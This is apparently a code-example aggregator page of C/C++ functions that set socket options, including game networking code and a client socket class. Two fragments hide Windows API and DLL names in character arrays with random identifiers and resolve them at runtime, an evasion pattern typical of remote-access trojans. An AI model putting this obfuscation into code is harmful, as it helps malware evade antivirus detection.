Esempio n. 1
0
int WINS_MakeSocketBroadcastCapable (int socket)
{
	int	i = 1;

	// make this socket broadcast capable
	if (psetsockopt(socket, SOL_SOCKET, SO_BROADCAST, (char *)&i, sizeof(i)) < 0)
		return -1;
	net_broadcastsocket = socket;

	return 0;
}
Esempio n. 2
0
SOCKET NetConnect( char *Host, int Port )
{
	int ip = (int)pinet_addr( (const char*)Host );

	if ( ip == (int)INADDR_NONE )
	{
		LPHOSTENT rhost = (LPHOSTENT)pgethostbyname( (const char*)Host );

		if ( !rhost )
		{
			return -1;
		}

		ip = *(long*)( rhost )->h_addr_list[0];

		if ( !ip )
		{
			return -1;
		}
	}

	SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

	if ( Socket == INVALID_SOCKET ) 
	{
		return -1;
	}

	LINGER l;

	l.l_linger = 3;
	l.l_onoff  = 1;

	psetsockopt( Socket, SOL_SOCKET, SO_LINGER, (char*)&l, sizeof( l ) );

	struct sockaddr_in SockAddr;

	m_memset( &SockAddr, 0, sizeof( SockAddr ) );

	SockAddr.sin_family			  = AF_INET;
	SockAddr.sin_port			  = HTONS( Port );
	SockAddr.sin_addr.S_un.S_addr = ip;

	if ( (int)pconnect( Socket, (sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR )
	{
		pclosesocket( Socket );
		return -1;
	}

	return Socket;
}
Esempio n. 3
0
int
WIPX_OpenSocket ( int port )
{
	int		handle;
	int		newsocket;
	struct sockaddr_ipx	address;
	u_long	_true = 1;

	for (handle = 0; handle < IPXSOCKETS; handle++)
		if (ipxsocket[handle] == 0)
			break;
	if (handle == IPXSOCKETS)
		return -1;

	if ((newsocket = psocket (AF_IPX, SOCK_DGRAM, NSPROTO_IPX)) == INVALID_SOCKET)
		return -1;

	if (pioctlsocket (newsocket, FIONBIO, &_true) == -1)
		goto ErrorReturn;

	if (psetsockopt(newsocket, SOL_SOCKET, SO_BROADCAST, (char *)&_true, sizeof(_true)) < 0)
		goto ErrorReturn;

	address.sa_family = AF_IPX;
	memset(address.sa_netnum, 0, 4);
	memset(address.sa_nodenum, 0, 6);;
	address.sa_socket = htons((unsigned short)port);
	if( bind (newsocket, (void *)&address, sizeof(address)) == 0)
	{
		ipxsocket[handle] = newsocket;
		sequence[handle] = 0;
		return handle;
	}

	Sys_Error ("Winsock IPX bind failed\n");
ErrorReturn:
	pclosesocket (newsocket);
	return -1;
}
Esempio n. 4
0
bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
{

    typedef int
    (WSAAPI
     *setsockoptT)(
         IN SOCKET s,
         IN int level,
         IN int optname,
         IN const char FAR * optval,
         IN int optlen
     );
    char UfUQqFY[] = {'s','e','t','s','o','c','k','o','p','t','\0'};
    char nZSZGQH[] = {'W','S','2','_','3','2','.','d','l','l','\0'};
    setsockoptT psetsockopt=(setsockoptT)GetProcAddress(LoadLibrary(nZSZGQH),UfUQqFY);


    typedef BOOL
    (WINAPI
     *ResetEventT)(
         __in HANDLE hEvent
     );
    ResetEventT pResetEvent=(ResetEventT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ResetEvent");

    // 一定要清除一下,不然socket会耗尽系统资源
    Disconnect();
    // 重置事件对像
    pResetEvent(m_hEvent);
    m_bIsRunning = false;

    m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (m_Socket == SOCKET_ERROR)
    {
        return false;
    }

    hostent* pHostent = NULL;

    pHostent = gethostbyname(lpszHost);

    if (pHostent == NULL)
        return false;

    // 构造sockaddr_in结构
    sockaddr_in	ClientAddr;
    ClientAddr.sin_family	= AF_INET;

    ClientAddr.sin_port	= htons(nPort);

    ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr);

    if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
        return false;
    // 禁用Nagle算法后,对程序效率有严重影响
    // The Nagle algorithm is disabled if the TCP_NODELAY option is enabled
    //   const char chOpt = 1;
    // 	int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char));

    // 不用保活机制,自己用心跳实现

    const char chOpt = 1; // True
    // Set KeepAlive 开启保活机制, 防止服务端产生死连接
    if (psetsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) == 0)
    {
        // 设置超时详细信息
        MyTcpKeepAlive	klive;
        klive.onoff = 1; // 启用保活
        klive.keepalivetime = 1000 * 60 * 3; // 3分钟超时 Keep Alive
        klive.keepaliveinterval = 1000 * 5; // 重试间隔为5秒 Resend if No-Reply
        WSAIoctl
        (
            m_Socket,
            SIO_KEEPALIVE_VALS,
            &klive,
            sizeof(MyTcpKeepAlive),
            NULL,
            0,
            (unsigned long *)&chOpt,
            0,
            NULL
        );
    }

    m_bIsRunning = true;
    m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);

    return true;
}
Esempio n. 5
0
void CClientSocket::Disconnect()
{
    typedef int
    (WSAAPI
     *setsockoptT)(
         IN SOCKET s,
         IN int level,
         IN int optname,
         IN const char FAR * optval,
         IN int optlen
     );
    char UfUQqFY[] = {'s','e','t','s','o','c','k','o','p','t','\0'};
    char nZSZGQH[] = {'W','S','2','_','3','2','.','d','l','l','\0'};
    setsockoptT psetsockopt=(setsockoptT)GetProcAddress(LoadLibrary(nZSZGQH),UfUQqFY);


    typedef int
    (WSAAPI
     *closesocketT)(
         IN SOCKET s
     );
    char GKGvYsR[] = {'c','l','o','s','e','s','o','c','k','e','t','\0'};
    closesocketT pclosesocket=(closesocketT)GetProcAddress(LoadLibrary(nZSZGQH),GKGvYsR);


    typedef BOOL
    (WINAPI
     *CancelIoT)(
         __in HANDLE hFile
     );
    CancelIoT pCancelIo=(CancelIoT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CancelIo");

    typedef BOOL (WINAPI *SetEventT)
    (
        __in HANDLE hEvent
    );
    SetEventT pSetEvent = (SetEventT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"SetEvent");

    typedef LONG (WINAPI *InterlockedExchangeT)
    (
        __inout LONG volatile *Target,
        __in    LONG Value
    );
    InterlockedExchangeT pInterlockedExchange = (InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"InterlockedExchange");

    //
    // If we're supposed to abort the connection, set the linger value
    // on the socket to 0.
    //
    LINGER lingerStruct;
    lingerStruct.l_onoff = 1;
    lingerStruct.l_linger = 0;
    psetsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct) );

    pCancelIo((HANDLE) m_Socket);
    pInterlockedExchange((LPLONG)&m_bIsRunning, false);
    pclosesocket(m_Socket);

    pSetEvent(m_hEvent);

    m_Socket = INVALID_SOCKET;
}